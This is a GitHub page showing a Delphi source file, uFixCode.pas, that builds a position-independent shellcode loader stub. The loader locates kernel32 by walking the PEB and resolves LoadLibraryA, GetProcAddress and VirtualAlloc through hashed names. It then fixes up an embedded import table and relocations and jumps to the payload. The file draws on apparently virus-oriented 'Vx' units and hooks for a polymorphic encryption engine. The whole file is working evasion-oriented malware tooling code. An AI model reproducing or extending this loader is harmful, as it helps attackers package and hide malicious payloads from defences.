-
Notifications
You must be signed in to change notification settings - Fork 44
Expand file tree
/
Copy pathuFixCode.pas
More file actions
137 lines (125 loc) · 3.47 KB
/
uFixCode.pas
File metadata and controls
137 lines (125 loc) · 3.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
{
apiname|hash|offset|apiname|hash|offset|0x00|
rva,offset,rva,offset,0xFFFFFFFF,Entry Offset
//need function
loadlibrary
getprocaddress
virtualalloc}
unit uFixCode;
interface
uses
Winapi.Windows, VxWindows, VxSystem, Bpe32b;
type
PFixReloc = ^TFixReloc;
TFixReloc = packed record
Rva: UInt32;
Offset: UInt32;
end;
function SaveFixCodeToMem(lpMem: Pointer): UInt32;
function SaveFixCodeToFile(szFileName: string): UInt32;
procedure FixCodeBegin(); stdcall;
function FixCodeEntry(): Pointer; stdcall;
procedure FixCodeEnd(); stdcall;
implementation
procedure FixCodeBegin(); assembler;
asm
pushad
call FixCodeEntry
mov [esp + 7 * 4], eax
popad
jmp eax
end;
{$INCLUDE VxShellCode.inc}
function FixCodeEntry(): Pointer; stdcall;
label
__NEXT_API;
var
hKernel32, hDll: HMODULE;
xLoadLibraryA: TLoadLibraryA;
xGetProcAddress: TGetProcAddress;
xVirtualAlloc: TVirtualAlloc;
lpSeek: Pointer;
Api: Pointer;
lpReloc: PFixReloc;
Entry: UInt32;
lpShellData: Pointer;
ShellDataSize: UInt32;
begin
lpShellData := _GetFixAddress(@FixCodeEnd);
if (PUInt32(lpShellData)^ <> $00000000) then
begin
Result := Pointer(PUInt32(lpShellData)^);
Exit;
end;
// get all need api
hKernel32 := _GetKernelBase_PEB();
@xGetProcAddress := _GetProcAddress_FromHash($F2509B84, nil, hKernel32);
@xLoadLibraryA := _GetProcAddress_FromHash($A412FD89, @xGetProcAddress, hKernel32);
@xVirtualAlloc := _GetProcAddress_FromHash($AB16D0AE, @xGetProcAddress, hKernel32);
// fix
lpSeek := Pointer(UInt32(lpShellData) + PUInt32(UInt32(lpShellData) + 4)^);
while (True) do
begin
if (PUInt32(lpSeek)^ = $4D3C2B1A) then Break;
hDll := xLoadLibraryA(PAnsiChar(lpSeek));
while (PUInt8(lpSeek)^ <> $00) do Inc(PUInt8(lpSeek));
Inc(PUInt8(lpSeek));
while (PUInt32(lpSeek)^ <> $1A2B3C4D) do
begin
Api := _GetProcAddress_FromHash(PUInt32(lpSeek)^, @xGetProcAddress, hDll);
Inc(PUInt32(lpSeek));
PUInt32(UInt32(lpShellData) + PUInt32(lpSeek)^)^ := UInt32(Api);
Inc(PUInt32(lpSeek));
end;
Inc(PUInt32(lpSeek));
end;
Inc(PUInt32(lpSeek));
// fix reloc
lpReloc := PFixReloc(lpSeek);
while (lpReloc^.Rva <> $FFFFFFFF) do
begin
PUInt32(UInt32(lpShellData) + lpReloc^.Rva)^ := UInt32(lpShellData) + lpReloc^.Offset;
Inc(lpReloc);
end;
// return entry
Entry := lpReloc^.Offset + UInt32(lpShellData);
PUInt32(lpShellData)^ := Entry;
Result := Pointer(Entry);
end;
procedure FixCodeEnd(); stdcall; begin end;
function SaveFixCodeToFile(szFileName: string): UInt32;
var
lpBuffer: Pointer;
CodeSize: UInt32;
begin
Result := 0;
CodeSize := UInt32(@FixCodeEnd) - UInt32(@FixCodeBegin);
lpBuffer := VX_MemAlloc(CodeSize);
if (lpBuffer = nil) then Exit;
VX_ZeroMem(lpBuffer, CodeSize);
SaveFixCodeToMem(lpBuffer);
if (VX_WriteDataToFile(PChar(szFileName), lpBuffer, CodeSize, False)) then
begin
Result := CodeSize;
end;
VX_MemFree(lpBuffer);
end;
function SaveFixCodeToMem(lpMem: Pointer): UInt32;
var
Code: Pointer;
CodeSize: UInt32;
lpPolyBuffer: Pointer;
dwMaxSize, dwPloySize: UInt32;
begin
Result := 0;
Code := Pointer(@FixCodeBegin);
CodeSize := UInt32(@FixCodeEnd) - UInt32(@FixCodeBegin);
//dwMaxSize := _GetBpe32MaxCryptSize(CodeSize);
//if (IsBadWritePtr(lpMem, dwMaxSize)) then Exit;
//dwPloySize := _Bpe32_Engine(lpMem, Code, CodeSize);
//Result := dwPloySize;
if (IsBadWritePtr(lpMem, CodeSize)) then Exit;
CopyMemory(lpMem, Code, CodeSize);
Result := CodeSize;
end;
end.